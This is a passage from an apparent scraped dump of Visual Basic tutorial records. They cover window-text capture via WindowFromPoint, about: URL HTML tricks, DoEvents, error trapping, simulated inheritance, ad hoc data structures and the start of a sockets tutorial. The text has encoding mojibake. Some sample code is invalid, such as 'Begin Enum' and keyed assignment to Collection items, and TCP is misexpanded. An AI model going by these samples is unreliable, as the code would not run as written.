Declare Function WindowFromPoint Lib \"user32.dll\" (ByVal xPoint As Long, ByVal yPoint As Long) As Long\nPrivate Declare Function SendMessage Lib \"user32.dll\" Alias \"SendMessageA\" (ByVal hWnd As Long, ByVal Msg As Long, wParam As Any, lParam As Any) As Long\nPrivate Declare Function GetCursorPos Lib \"user32.dll\" (lpPoint As POINT_TYPE) As Long\nPrivate Type POINT_TYPE\n x As Long\n y As Long\nEnd Type\nPrivate Const WM_GETTEXT = &HD\nPrivate Const TXT_LEN = 100\nPrivate Sub Timer1_Timer()\n Dim ppoint As POINT_TYPE\n Dim ttxt As String\n ttxt = Space(100) 'Give space for window text\n errval = GetCursorPos(ppoint) 'Get Cursor Point\n thwnd = WindowFromPoint(ppoint.x, ppoint.y) 'Get window handle of window under cursor\n errval = SendMessage(thwnd, WM_GETTEXT, ByVal TXT_LEN, ByVal ttxt) 'Get text of that window\n ttxt = RTrim(ttxt) 'Remove Spaces\n Text1.Text = ttxt 'Display results\nEnd Sub"},{"WorldId":1,"id":9014,"LineNumber":1,"line":"<center><h2>Embedding HTML into VB</h2> \n...and ANY URL without SCRIPT!</center>\n<A HREF=\"mailto:webmaster@hlrcomputers.com>by Herb Riede</A>\nYou need either a WebBrowser control to use the Navigate/Navigate2 URL method, or use a shell execute method similar to the one at: <A HREF=\"http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=1320\">PSC Code 1320</A> \nJust replace the URL with the \"about:HTML Code\" or a string holding it like so:\nHTMLString = \"about:<A HREF=http://www.planet-source-code.com>Planet Source Code</A>\" \nForm1.WebBrowser1.Navigate HTMLString\n-or-\nRun a ShellExecute like the one at the code linked to above like this:\nHTMLString = \"about:<A HREF=http://www.planet-source-code.com>Planet Source Code</A>\" \nWebURL (HTMLString)\nThe first one launches the page in your WebBrowser control in your app, the second launches the default browser (though this only\nworks in IE I think) with the code.\n<H3>Just For Your Enjoyment:</H3> \nThere are hidden 'easter-egg' about codes in IE including: \n<A HREF=\"about:mozilla\">about:mozilla</A>\nOops.. the next one messed up PSC's page at first: \nabout:\n"},{"WorldId":1,"id":8165,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8143,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8153,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8180,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8502,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8524,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8653,"LineNumber":1,"line":"If you are a new VB programmer and have begun to develop more sophisticated applications to do animations, heavy number crunching, etc., you may have noticed that sometimes those apps seem to take control of Windows while they run. For example, your mouse clicks and keystrokes may take a long time to register with your app and others. You may not even see your mouse moving with you fast enough.\nThe good news is that it's fairly easy to correct this problem.\nWhile newer versions of Windows support \"simultaneous\" multitasking using \"time slices\" for each process, Windows is still a non-preemptive operating system at its core. \"Preemptive multitasking\" means that the operating system (OS) gives each running process a slice of time running on the CPU before it interrupts it to give CPU control to the next process. Each process need not care about the CPU needs of any other. \"Nonpreemptive multitasking\" means that the processes are expected to voluntarily yield control of the CPU to the OS so it can give control to the next running program.\nRoughly speaking, if you're not somehow giving control of the CPU back to Windows, other apps can't use it.\nMost simple VB programs get control when Windows triggers an event, like a button click or mouse movement. If your app responds to the event, it automatically gives control back to Windows when the responding event (e.g., <TT>Command1_Click()</TT> ) is done executing. But if it doesn't exit within a few seconds, you may start to notice your app is hogging resources.\nFortunately, VB comes with a built in routine to voluntarily give control of the CPU back to Windows for a while: DoEvents. Consider the following simple program:\n<UL><PRE>\nPrivate GoForIt As Boolean\nPrivate Sub Command1_Click()\n If GoForIt Then 'Clicked to stop\n GoForIt = False\n Else 'Clicked to start\n GoForIt = True\n Do While GoForIt\n Command1.Caption = Rnd\n DoEvents\n Loop\n End If\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n GoForIt = False 'Break out of the loop\n DoEvents\nEnd Sub\n</PRE></UL>\nNotice how DoEvents is used in <TT>Form_Unload()</TT> to let the loop initiated in <TT>Command1_Click()</TT>, if it's still running, finish and exit? That's right; one chunk of your own code can be running \"in parallel\" with another chunk in your program. You don't have to mess with multithreading or multiprocessing to have this happen. This is another benefit of using DoEvents liberally and carefully.\nIn summary, use DoEvents to break up algorithms that take a long time or loop continuously to give Windows a chance now and then to do other things with the CPU.\n"},{"WorldId":1,"id":9055,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9049,"LineNumber":1,"line":"All VB programmers feel the kiss of death when they see a familiar run-time error message box that looks a little like this:\n\n<CENTER>\n<TABLE BGCOLOR=\"#CCCCCC\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"4\">\n<TR><TD BGCOLOR=\"000066\"> Microsoft Visual Basic </TD></TR>\n<TR><TD>\n Run-time error '381':\nInvalid property array index\n \n<TABLE CELLSPACING=\"10\"><TR>\n<TD><TABLE CELLSPACING=\"0\" CELLPADDING=\"2\" BORDER=\"2\"><TR><TD> \nContinue\n </TD></TR></TABLE></TD>\n<TD><TABLE CELLSPACING=\"0\" CELLPADDING=\"2\" BORDER=\"2\"><TR><TD> \nEnd\n </TD></TR></TABLE></TD>\n<TD><TABLE CELLSPACING=\"0\" CELLPADDING=\"2\" BORDER=\"2\"><TR><TD> \nDebug\n </TD></TR></TABLE></TD>\n<TD><TABLE CELLSPACING=\"0\" CELLPADDING=\"2\" BORDER=\"2\"><TR><TD> \nHelp\n </TD></TR></TABLE></TD>\n</TR></TABLE>\n</TD></TR>\n</TABLE>\n</CENTER>\n\nIf you've compiled a program to an executable (.EXE) and this sort of error pops up, you know by now that you don't get to debug the program. It just crashes. Is that what you want to happen? Probably not. But then, you probably wouldn't want a program to start acting unpredictably or worse because of an unexpected state of corruption. That's what critical run-time errors are supposed to prevent.\nBut what if you actually do expect certain kinds of errors and want your program to continue running despite them? You can \"trap\" and handle these errors. To \"trap\" an error simply means to allow an error to occur on the assumption that your code will deal with it. There are two basic ways to trap and handle an error: \"resume\" and \"go-to\". They can be illustrated by the following examples:\n<UL><PRE>\n'\"Resume\" approach\nSub Demo1\n On Error Resume Next\n X = 1 / 0 'Division by zero\n MsgBox Err.Description\n On Error GoTo 0\nEnd Sub\n</PRE></UL>\n<UL><PRE>\n'\"Go-To\" approach\n'This is not currently applicable to VBScript\nSub Demo2\n On Error GoTo Oopsie\n X = 1 / 0 'Division by zero\n Exit Sub\nOopsie:\n MsgBox Err.Description\nEnd Sub\n</PRE></UL>\nThe key difference between these two approaches to error handling is that <TT>On Error Resume Next</TT> tells VB you want your code to keep executing as if nothing had happened, whereas <TT>On Error GoTo Some_Label</TT> tells VB you want execution to jump to some specific location in your routine at any time a run-time error occurs.\nNotice the use of <TT>On Error GoTo 0</TT> in <TT>Demo1</TT> above? Although it looks like a contorted version of <TT>On Error GoTo Label</TT>, it's actually a special way to tell VB that you want to stop trapping errors and let VB perform its own built-in handling.\nRecovering gracefully from a run-time error, once you've trapped it, really requires you to make use of the Err object. Err is an object VB uses to give your program access to information about the error. Here are the most important public members Err exposes:\n\n<CENTER><TABLE WIDTH=\"90%\" CELLSPACING=\"0\" CELLPADDING=\"2\" BORDER=\"2\">\n<TR><TD><TT> Err.Number </TT></TD><TD>\nLong integer indicating the error code number. This is pretty much useless except where the vendor of the product that generated this error was too lazy to provide a useful description.\n</TD></TR>\n<TR><TD><TT> Err.Source </TT></TD><TD>\nGenerally used to tell your handler what component or code element is responsible for generating the error. With custom errors, you might want to set this to <TT>\"ModuleName.MethodName()\"</TT>.\n</TD></TR>\n<TR><TD><TT> Err.Description </TT></TD><TD>\nThe all-important, human-readable description. The point of this is so you're not left scratching your head wondering \"what the heck does '-10021627' mean?\"\n</TD></TR>\n<TR><TD><TT> Err.Clear() </TT></TD><TD>\nAllows you to sweep the error under the rug, so to speak.\n</TD></TR>\n<TR><TD><TT> Err.Raise(Number, [Source], [Description], [HelpFile], [HelpContext]) </TT></TD><TD>\nAllows you to \"raise\", or invoke, your own run-time error. Number can be <TT>vbObjectError + CustomErrorCode</TT> if you're not raising one of the standard ones. Be sure to provide a source and description.\n</TD></TR>\n</TABLE></CENTER>\n\nThe <TT>.HelpFile</TT> and <TT>.HelpContext</TT> properties, not listed above, can be used by your program to refer users to a relevant passage in some help file. Few programs bother.\nThe nice thing about go-to error trapping is that it allows you to easily enwrap a large chunk of code with your error handler with one single line of code (<TT>On Error GoTo Label</TT>). The resume approach really requires you to either include error handling code after every line or to take a blind leap of faith that a given line will either never encounter an error or that it won't matter. As a general rule, use On Error Resume Next only for short blocks of code.\nOne of the interesting nuances of the VB run-time error mechanism is that it propagates errors \"backwards\". To illustrate what this means, consider the following code:\n\n<UL><PRE>\nSub A\n On Error Resume Next\n Call B\n MsgBox Err.Description\nEnd Sub\n</PRE></UL>\n<UL><PRE>\nSub B\n Call C\nEnd Sub\n</PRE></UL>\n<UL><PRE>\nSub C\n X = 1 / 0 'Division by zero\nEnd Sub\n</PRE></UL>\n\n<TT>A</TT> calls <TT>B</TT>, which in turn calls <TT>C</TT>. Since <TT>C</TT> will cause a division-by-zero run-time error and itself has no error handler, VB will effectively leave <TT>C</TT> and go back to <TT>B</TT>. But <TT>B</TT> doesn't have an error handler, either, so VB leaves <TT>B</TT> to go back to <TT>A</TT>. Fortunately, <TT>A</TT> does have an error handler. If it didn't, <TT>A</TT> would also immediately exit and control would go back to whatever called it. If there's nothing left up this \"calling stack\", your program will courteously commit suicide.\nYou can use this \"backward propagation\" property of VB's error mechanism to your advantage in many ways. First, you can enwrap a block of code by putting it in its own subroutine and putting your error handler in the code that calls that subroutine. In this case, any run-time error in that subroutine will propagate back to your calling code. Second, you can add value to an error message by adding more context information. You might use code like the following, for instance:\n\n<UL><PRE>\nSub A\n On Error GoTo AwShoot\n Call B\n Exit Sub\nAwShoot:\n Err.Raise vbObjectError, \"MyModule.A(): \" & Err.Source, _\n \"Unexpected failure in A: \" & Err.Description\nEnd Sub\n</PRE></UL>\n<UL><PRE>\nSub B\n On Error GoTo AwShoot\n Err.Raise vbObjectError, \"My left nostril\", \"Stabbing pain\"\n Exit Sub\nAwShoot:\n Err.Raise vbObjectError, \"MyModule.B(): \" & Err.Source, _\n \"Couldn't complete B: \" & Err.Description\nEnd Sub\n</PRE></UL>\n\nCalling <TT>A</TT> will result in an error whose source is <TT>\"MyModule.A(): MyModule.B(): My left nostril\"</TT> and whose description is <TT>\"Unexpected failure in A: Couldn't complete B: Stabbing pain\"</TT>. Having the extra \"source\" information probably won't help your end-users. But then, your end users probably won't care about the source of the problem, any way. But as the person who gets to fix it, this will be invaluable to you. The extra description information might actually help your end users, but it too will be invaluable to you. Note, incidentally, that calling <TT>Err.Raise()</TT> in your error handler will not cause the error to be thrown back to itself, again. With the go-to method of error handling, as soon as the error is raised and before control is passed to your error handler (right after the <TT>AwShoot:</TT> line label), the error handler for your routine is automatically switched off. If you want to trap errors in your error handler code, you'll have to reset the error handler with another <TT>On Error Resume Next</TT> or <TT>On Error GoTo Some_Other_Label</TT> line in your handler.\nFor those times you use the resume approach, be aware that calling <TT>On Error GoTo 0</TT> not only disables error handling in the current routine, it also clears the current error properties, including the description. If you want to add your own custom error message before propagating the error back up the call stack in a fashion like that above, you'll need to grab the properties from Err, first. Here's a simple way to do it:\n\n<UL><PRE>\nSub Doodad\n On Error Resume Next\n X = 1 / 0\n If Err.Number <> 0 Then\n 'Dump Err properties into an array\n EP = Array(Err.Number, Err.Source, _\n Err.Description, Err.HelpFile, Err.HelpContext)\n 'Re-enable VB's own error handler\n On Error GoTo 0\n 'Propagate error back up the call stack with my two cents added\n Err.Raise EP(0), \"MyModule.Doodad(): \", EP(1), _\n \"Something bad happened: \" & EP(2), EP(3), EP(4)\n End If\n On Error GoTo 0\n Exit Sub\nEnd Sub\n</PRE></UL>\n\nFinally, let me strongly urge you to have your programs raise errors as a natural matter of course. Functions often return special values like 0, \"\", Null and so on to indicate that an error has occurred. Instead of doing this and requiring your users (other programmers) to figure out your special error representations and to make non-standard error handlers for them, try calling <TT>Err.Raise()</TT>. If your users don't realize that an invocation of your code may cause an error, the first case may leave them with a difficult mystery to solve, whereas the second case will leave little doubt about the real cause. Plus, they'll be able to make their code more readable and consistent with best-practice standards.\nIn summary, VB's run-time error trapping and handling mechanism allows your code to take control of how errors are managed. This can be used to allow your programs to more gracefully end, to let your programs continue running despite certain kinds of problems, to give developers better clues about the causes of bugs in their code, and more. There are two basic approaches: \"resume\" and \"go-to\". VB's built-in Err object holds the information you need to find out where the error occurred and what its nature is and allows you to clear or raise errors of your own."},{"WorldId":1,"id":9074,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9068,"LineNumber":1,"line":"Most programmers who have any understanding of what object-oriented programming (OOP) is about have heard terms like \"inheritance\" and \"subclassing\". The goal is to create a new class starting not from scratch, but using an existing class as the foundation. While many other languages like C++ and Java offer inheritance models, Visual Basic 6 and earlier versions don't in any decent sense. The closest it comes to it is the use of the messy \"Implements\" directive.\nWhat most programmers familiar with OOP donΓÇÖt know is that there are two basic relationships with which to implement inheritance: \"is a\" and \"has a\". Let's say for example we have the following three classes: Animal, Dog, and Beagle. We want Dog to inherit public members from Animal and Beagle to inherit them from Dog. Speaking \"purely\" of OOP, we would say that we would say that a Beagle is a Dog. The alternative would be to say that a Beagle has a Dog. In English, this sounds like nonsense, but bear with me. If you want to gain the functionality of one class, it suffices to simply instantiate it, which is another way of saying the first class would have an instance of the other. Consider the following illustration:\n<CENTER>\n<TABLE BGCOLOR=\"#FFFFCC\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n<CENTER>Beagle</CENTER>\n<CENTER>\n<TABLE><TR><TD VALIGN=\"TOP\"><LI>BaseClass As </TD><TD>\n<TABLE BGCOLOR=\"#EEEEBB\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n<CENTER>Dog</CENTER>\n<CENTER>\n<TABLE><TR><TD VALIGN=\"TOP\"><LI>BaseClass As </TD><TD>\n<TABLE BGCOLOR=\"#DDDDAA\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n<CENTER>Animal</CENTER>\n\n<LI>Species As String\n\n</TD></TR></TABLE>\n</TD></TR></TABLE>\n</CENTER>\n<LI>HasFleas As Boolean\n</TD></TR></TABLE>\n</TD></TR></TABLE>\n</CENTER>\n<LI>HasLongEars As Boolean\n<LI>HasFleas As Boolean\n</TD></TR></TABLE>\n</CENTER>\nNote the \"overloaded\" <TT>.HasFleas</TT> property in both Dog and Beagle. Here are the equivalent VB class modules:\n<CENTER>\n<TABLE BGCOLOR=\"#FFFFCC\" WIDTH=\"90%\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TH BGCOLOR=\"#DDDDAA\"> Class: Animal </TH></TR><TR><TD><PRE>\nPrivate propSpecies As String\n \n Public Property Get Species() As String\n Species = propSpecies\nEnd Property\nPublic Property Let Species(newSpecies As String)\n propSpecies = newSpecies\nEnd Property\n</PRE></TD></TR></TABLE>\n<TABLE BGCOLOR=\"#FFFFCC\" WIDTH=\"90%\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TH BGCOLOR=\"#DDDDAA\"> Class: Dog </TH></TR><TR><TD><PRE>\nPrivate BaseClass As Animal\nPrivate propHasFleas As Boolean\n \n Public Property Get B() As Animal\n Set B = BaseClass\nEnd Property\n \n Public Property Get HasFleas() As Boolean\n HasFleas = propHasFleas\nEnd Property\nPublic Property Let HasFleas(newHasFleas As Boolean)\n propHasFleas = newHasFleas\nEnd Property\n \n Private Sub Class_Initialize()\n Set BaseClass = New Animal\n BaseClass.Species = \"Canus\"\nEnd Sub\n</PRE></TD></TR></TABLE>\n<TABLE BGCOLOR=\"#FFFFCC\" WIDTH=\"90%\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TH BGCOLOR=\"#DDDDAA\"> Class: Beagle </TH></TR><TR><TD><PRE>\nPrivate BaseClass As Dog\nPrivate propHasFleas As Boolean\nPrivate propHasLongEars As Boolean\n \n Public Property Get B() As Dog\n Set B = BaseClass\nEnd Property\n \n Public Property Get HasFleas() As Boolean\n HasFleas = True\nEnd Property\n \n Public Property Get HasLongEars() As Boolean\n HasLongEars = True\nEnd Property\n \n Private Sub Class_Initialize()\n Set BaseClass = New Dog\nEnd Sub\n</PRE></TD></TR></TABLE>\n</CENTER>\nSo when we create a Beagle object, it's creating a Dog object internally, which in tun is creating an Animal object inside itself. So if Beagle \"inherits\" functionality from Dog and Dog likewise from Animal, how to we use this inherited functionality in our code? One answer which is elegant from the Beagle class's user's (programmer's) point of view would be to reproduce properties, methods, and events with the same names as all of what's being \"inherited\". So Beagle, for example, would have a <TT>.Species</TT> property to mirror the one in Animal which would simply delegate the work of storage and/or processing to the Animal class. But then, the chore of creating these mirror members can really suck if you're making a class that adds only two new members to a class that already has two dozen you want to inherit.\nA simpler way, which is admittedly a little messier for the end programmer, is to give him a handle to the \"base class\" object so he can directly access its members. We've done this by adding a <TT>.B</TT> -- short for \"Base Class\" -- property. So to find out what species our beagle is we might say <TT>TheSpecies = MyBeagle.B.B.Species</TT>. Granted, this isn't as elegant as <TT>TheSpecies = MyBeagle.Species</TT>, but this construct is invalid in our case. Suffice it to say that using the slighly ugly <TT>.B</TT> property to get to an object's \"base class\" works and doesn't take much effort on your part to implement. It's also worth pointing out that you can do multiple inheritance this way, too, so long as you come up with a different property name for each of the base classes. You might use <TT>.B1</TT> and <TT>.B2</TT> or perhaps opt to go with more explicitly named properties like <TT>.BcDog</TT> and <TT>.BcAnimal</TT>.\nThe key to making this work for the user, who most likely won't care how your class is implemented, is to instruct him to look for a given property or method in your object, first, and then to look for a property or method in the object <TT>.B</TT> refers to if he can't find it in your class directly. This is especially important if you overload a given function, as in our case where <TT>.HasFleas</TT> is implemented in the Dog class but also in the Beagle class. The user of the Beagle class can refer, then, to <TT>.HasFleas</TT> to get your overriding property or to the <TT>.B.HasFleas</TT> property to refer to the overridden version of the property.\nWhile this mildly messy of approach may not be an elegant one if you're distributing polished products to clients or trying to set industry standards, it's an excellent way to help organize and maintain the inner workings of your more complicated VB projects.\nIn summary, although VB doesn't have a clean implementation of the traditional OOP inheritance (\"is a\") concept, you can simulate it using a \"has a\" relationship. The syntax for using the \"inherited\" members may seem a bit awkward, but the benefit is a simpler implementation for you and a greater ease of maintaining your code, both encouraging you to better modularize your code toward the ends modularization has long promised."},{"WorldId":1,"id":8872,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8879,"LineNumber":1,"line":"If youΓÇÖre a seasoned VB programmer, youΓÇÖve probably seen your share of VB programs that do modest things but do them in disturbingly complex ways. One of the most common abuses of this is the creation of classes to represent every last scrap of data. IΓÇÖve worked on projects that have literally dozens of classes defined just to represent the contents of modest databases. I find this clutter is usually pointless; where those dozens of classes can literally be replaced with one or two. And one nasty side effect of having these heaps of rubbish is that a simple change to the program can require a retooling of most of those classes, which certainly misses one of the central points of modularization.\nOne simple yet effective way to abolish unnecessary classes is to use ad hoc data structures.\nAn ad hoc data structure is a data structure that is created at run-time using some more general purpose data structure. \nWhat are some general purpose data structures we can use and how do we use them? One simple one is the array. We can use an array of variants to hold a simple data structure. Consider the following example of a data structure designed to represent a rectangle:\n<UL><PRE>\nBegin Enum RectProperties\n┬á┬á┬á┬árLeft = 0\n┬á┬á┬á┬árTop = 1\n┬á┬á┬á┬árWidth = 2\n┬á┬á┬á┬árHeight = 3\nEnd Enum\nPrivate Sub TrivialDemo\n┬á┬á┬á┬áDim Rect(4) As Variant\n┬á┬á┬á┬á'Populate the rectangleΓÇÖs properties\n┬á┬á┬á┬áRect(rLeft) = 10\n┬á┬á┬á┬áRect(rTop) = 10\n┬á┬á┬á┬áRect(rWidth) = 100\n┬á┬á┬á┬áRect(rHeight) = 50\n┬á┬á┬á┬á'Use it for something\n┬á┬á┬á┬áMsgBox Rect(rLeft)\nEnd Sub\n</PRE></UL>\nNotice itΓÇÖs a lot easier to manage a list of enumerated properties here than to create a whole class with properties, ad nauseum, just to represent a rectangle. ItΓÇÖs tempting to think a simple <TT>Type</TT> statement would be even easier to implement, but take note here that user-defined types cannot be public, which means they canΓÇÖt readily be shared across classes, forms, ActiveX controls, etc. An array ΓÇô or at least a Variant containing an array ΓÇô can.\nWhat if we donΓÇÖt want to deal with arrays and enumerations? One very good choice is the Collection. So long as you know the names of the properties you want to represent through some means external to the Collection object, youΓÇÖll have no problem dealing with it. Consider the same example code above, modified to use Collections.\n<UL><PRE>\nPrivate Sub TrivialDemo\n┬á┬á┬á┬áDim Rect As Collection\n┬á┬á┬á┬áSet Rect = New Collection, RectCopy As Collection\n┬á┬á┬á┬á'Populate the rectangleΓÇÖs properties\n┬á┬á┬á┬áRect(\"Left\") = 10\n┬á┬á┬á┬áRect(\"Top\") = 10\n┬á┬á┬á┬áRect(\"Width\") = 100\n┬á┬á┬á┬áRect(\"Height\") = 50\n┬á┬á┬á┬á'Use it for something\n┬á┬á┬á┬áMsgBox Rect(\"Left\")\nEnd Sub\n</PRE></UL>\nIf youΓÇÖre willing to bring the Scripting runtime library into this, you can even use the venerable Dictionary object in a similar fashion. And there are still other options available, but these two will generally suffice for most simple data structures.\nBut we donΓÇÖt have to stop here. Generally, few data structures that matter go only one level deep like weΓÇÖve just shown. More commonly, a data structure has a number of single-value properties like in our examples and also a number of sets of other data structures. For example, a data structure representing an adult human might need a list of that personΓÇÖs children. How do we do this sort of thing? The same way weΓÇÖve done up ΓÇÿtil now, only we store Variant arrays or Collections (whichever the case may be) of another data structure ΓÇô perhaps the same kind that holds the adultΓÇÖs information. Using Collections, for example, you can find that accessing items in complicated data structures can be as straightforward as the following. Compare the Class way with the Collection way:\n<UL><PRE>\nMsgBox \"One of my grandchildrenΓÇÖs names is \" _\n┬á┬áMyself.Children(1).Children(1).Name\nMsgBox \"One of my grandchildrenΓÇÖs names is \" _\n┬á┬áMyself(\"Children\")(1)(\"Children\")(1)(\"Name\")\n</PRE></UL>\nNote that for a few more characters and no less readability, we get to avoid the work involved in creating and maintaining a class.\nAt this point, it might not seem like weΓÇÖve gained much, especially since we donΓÇÖt have any simple way to tie methods or event triggers to our ad hoc data structures like we could with a class. But there are two enormous benefits ad hoc data structures can bestow: self definition and data definition.\nSelf definition refers to the idea of a data structure being able to represent a genera of other data structures. For example, if you program with ADO (or DAO or RDO), you know by now that VB doesnΓÇÖt create a separate class for every table and another for every field. You get a small set of general-purpose data structures ΓÇô connections, recordsets, field collections, and so on, and these all mold themselves to fit the particulars of whatever database elements they are connected with. Perhaps you hadnΓÇÖt thought of them as such, but these classes are actually specialized ad hoc data structures.\nFollowing that model, you can create your own self-defining data structures. The first key is to define what is generally common among the genera of objects you want to model, to put all of those things in your class, and to leave out the properties (such as the names of fields in a table) particular to each instance. The second key is to find a way for this structure to define itself ΓÇô those particular properties ΓÇô based on information inherent in whatΓÇÖs being loaded. The ADO Recordset class, for instance, can find out about the fields in the tables itΓÇÖs retrieving from the response from the database engine to its query. Many modern information servers can tell an entity querying it a lot about what it has to offer. This is what you target in your design. One of the greatest advantages of this approach is that there is generally little work involved in upgrading your self-defining data structures just because the properties particular instances change. Instead, youΓÇÖll be focussed primarily on dealing with the business end of your code, which will be the real target for changes, any way.\nA data-defined data structure is similar to a self-defined structure, except in principle, you are in charge of maintaining the definition. The definition could be stored in a text file, a database table, or even hard-coded in a definition module. The important key is that data apart from the actual code plays a central role in identifying what the various properties and collections of properties and so on will look like for a given instance of your ad hoc data structure. One of the incredible benefits of this approach is that it can be much easier to document the particular details of your application. ThereΓÇÖs no reason, for instance, you couldnΓÇÖt have this sort of information stored in Excel spreadsheets that your program can read and you can print out for reference documentation, to give a dramatic example. Change the definition to reflect a changing business need and youΓÇÖve got an instant upgrade of your documentation, too. And isnΓÇÖt this sort of division of business rules from a flexible foundation an essential part of what youΓÇÖre shooting for in the first place?\nIn summary, ad hoc data structures offer strong flexibility and can simplify many of your projects ΓÇô especially when used in conjunction with good class design. Further, ad hoc data structures can help you separate your business logic from your foundation code. And they can even be designed to morph into roles defined by the data they interface, saving you coding work, linking you to shifting standards, and shortening upgrade cycles. All this for a few more keystrokes.\n"},{"WorldId":1,"id":9517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9552,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9278,"LineNumber":1,"line":" Table of Contents \n<LI><A HREF=\"#preface\">Preface</A>\n<LI><A HREF=\"#clientserver\">Client / Server Concepts</A>\n<LI><A HREF=\"#introduction\">Introduction to Internet Programming </A>\n<LI><A HREF=\"#package\">The Sockets Package</A>\n<LI><A HREF=\"#browser\">Build a Basic Web Browser</A>\n<LI><A HREF=\"#csapp\">Build a Complete Client / Server App</A>\n<LI><A HREF=\"#conclusion\">Conclusion</A>\n\n<A NAME=\"preface\">\n Preface \n In less than a decade, TCP/IP - the Internet - has emerged from the cacophony of networking protocols as the \nundisputed winner. So many information protocols, from HTTP (web) to IRC (chat), have been developed to offer all \nmanner of electronic content. With TCP/IP dominance secured, many companies with in-house IT staffs are moving \ntowards developing their own <A HREF=\"#clientserver\">client/server</A> applications using home-grown or off the \nshelf Internet protocols. This article can help you leap on board this roaring technology train.\nMost Internet programmers developing for windows use some form or another of the Winsock API. You may already be \naware of this API's infamy as a difficult one to master. As a VB programmer, you may also be aware of the fact that \nVB ships with a Winsock control that enwraps the deeply confusing Winsock API in a slightly less confusing package. \nBut it's still confusing to most new programmers. It's also known for being buggy. It also doesn't help that all \nthe functionality for developing clients and servers is lumped into one control, which leaves many programmers with \nlittle clue about how and when to use its features.\nI recently developed a suite of controls called \"Sockets\" to build on the virtues of the Winsock control while \nmasking most of its inadequacies. It's easier to use and offers sophisticated features like multi-connection \nmanagement and message broadcasting. This code samples in this article will be built around the Sockets package.\n<BLOCKQUOTE>\nNote: You can download the Sockets package from Planet Source Code. Search here for the posting's title: \"<A \nTARGET=\"_new\" \nHREF=\"http://www.planet-source-code.com/vb/scripts/BrowseCategoryOrSearchResults.asp?lngWId=1&txtCriteria=Simple,+cl\nean+client+server+socket+controls\">Simple, clean client/server socket controls</A>\". Be sure to include the \n\"Sockets\" component (\"Sockets.OCX\") in any projects you create to try out the code samples. You can register the \ncontrol so it appears in VB's component list from the Start | Run menu item using \"<TT>regsvr32 <path_to_ocx>\\sockets.ocx</TT>\".\n</BLOCKQUOTE>\nIf you're already familiar with client/server and sockets concepts, you can skip right to the <A \nHREF=\"#package\">Sockets Package</A> section for information specific to the controls used and how to use them.\n\n<A NAME=\"clientserver\">\n Client / Server Concepts\n Before we begin talking about Internet programming, let's give a brief introduction to the client/server \nconcept.\nThe \"client/server\" concept is a fundamentally simple one. Some automated entity - a program, component, \nmachine, or whatever - is available to process information on behalf of other remote entities. The former is called \na \"server\", the latter a \"client\". The most popular client/server application today is the World Wide Web. In this \ncase, the servers are all those web servers companies like Yahoo and Microsoft run to serve up web pages. The \nclients are the web browsers we use to get at their web sites.\nThere are a number of other terms commonly used in discussing the client/server concept. A \"connection\" \nis a completed \"pipeline\" through which information can flow between a single client and a single server. The \nclient is always the connection requestor and the server is always the one listening for and accepting (or \nrejecting) such requests. A \"session\" is a continuous stream of processing between a client and server. \nThat duration is not necessarily the same as the duration of one connection, nor does a session necessarily involve \nonly one simultaneous connection. \"Client interconnection\" is what a server does to facilitate information \nexchange among multiple clients. A chat program is a good example. Usually, nothing can be done with a given \nmessage until all of it is received. A \"message\", in this context, is any single piece of information that's \nsent one way or the other through a connection. Messages are typically single command requests or server responses. \nIn most cases, a message can't be used until all of it is received. A \"remote procedure\" is simply a \nprocedure that a client asks a server to execute on its behalf, which usually involves one command message going to \nthe server and one response message coming back from it. Using an FTP client to rename a file on a server is an \nexample. An \"event\" is the converse of a remote procedure call: the server sends this kind of message to \nthe client, which may or may not respond to.\nAs programmers, we generally take for granted that a given function call does not return until it is done \nexecuting. Why would we want it to, otherwise? Having the code that calls a function wait until it is done is \ncalled \"synchronous\". The alternative - allowing the calling code to continue on even before the function \ncalled is done - is called \"asynchronous\". Different client/server systems employ each of these kinds of \nprocedure calling modes. Usually, an asynchronous client/server system will involve attaching unique, random \nnumbers to each message and having a response to a given message include that same number, which can be used to \ndifferentiate among messages that may arrive out of their expected order. The main benefit to this sort of scheme \nis that processing can continue on both sides without delays. Such systems are usually a bit complicated to create \nand make the most of.\nThere are plenty of other concepts related to the client/server concept, but this should suffice for starters.\n\n<A NAME=\"introduction\">\n Introduction to Internet Programming \n As you might already have guessed, programming for the Internet is quintessentially client/server programming. \nYour program can't connect to any other program using the Internet without that other program being an active \nserver. The feature that distinguishes Internet client/server systems from others is TCP/IP, which stands for \nTransmission Connection Protocol / Internet Protocol. TCP/IP was developed as a generic communication protocol that \ntranscends the particular, lower-level network systems they rest on top of, like Ethernet LANs, phone lines, digital \ncellular systems, and so on.\nThe Internet protocol - the IP in TCP/IP - is a complex packet-switching protocol in which messages sent through \nconnections are chopped up into \"packets\" - low-level messages our programs generally never need to directly see - \nand sent across any number of physical connections to the other side of the Internet connection. These are \nreassembled at the receiving end. Those packets may not arrive at the same time, though, and some may never arrive \nat all. Internet phone and streaming video systems are fine with this sort of asynchronous communication, since \nit's fast. Those programs use the \"UDP\" (User Datagram Protocol). For this article, we'll be dealing with the TCP, \nin which these packets are properly assembled back into the original data stream at the receiving end, with a \nguarantee that if the packets can get there, they will.\nInernet programming is also often called \"sockets programming\", owing to the Berkley sockets API, one of \nthe first of its kind. Because programmers of sockets applications on windows use the \"Winsock\" API, it's also \noften called by \"Winsock programming\". Winsock is simply an adaptation of the Berkley sockets API 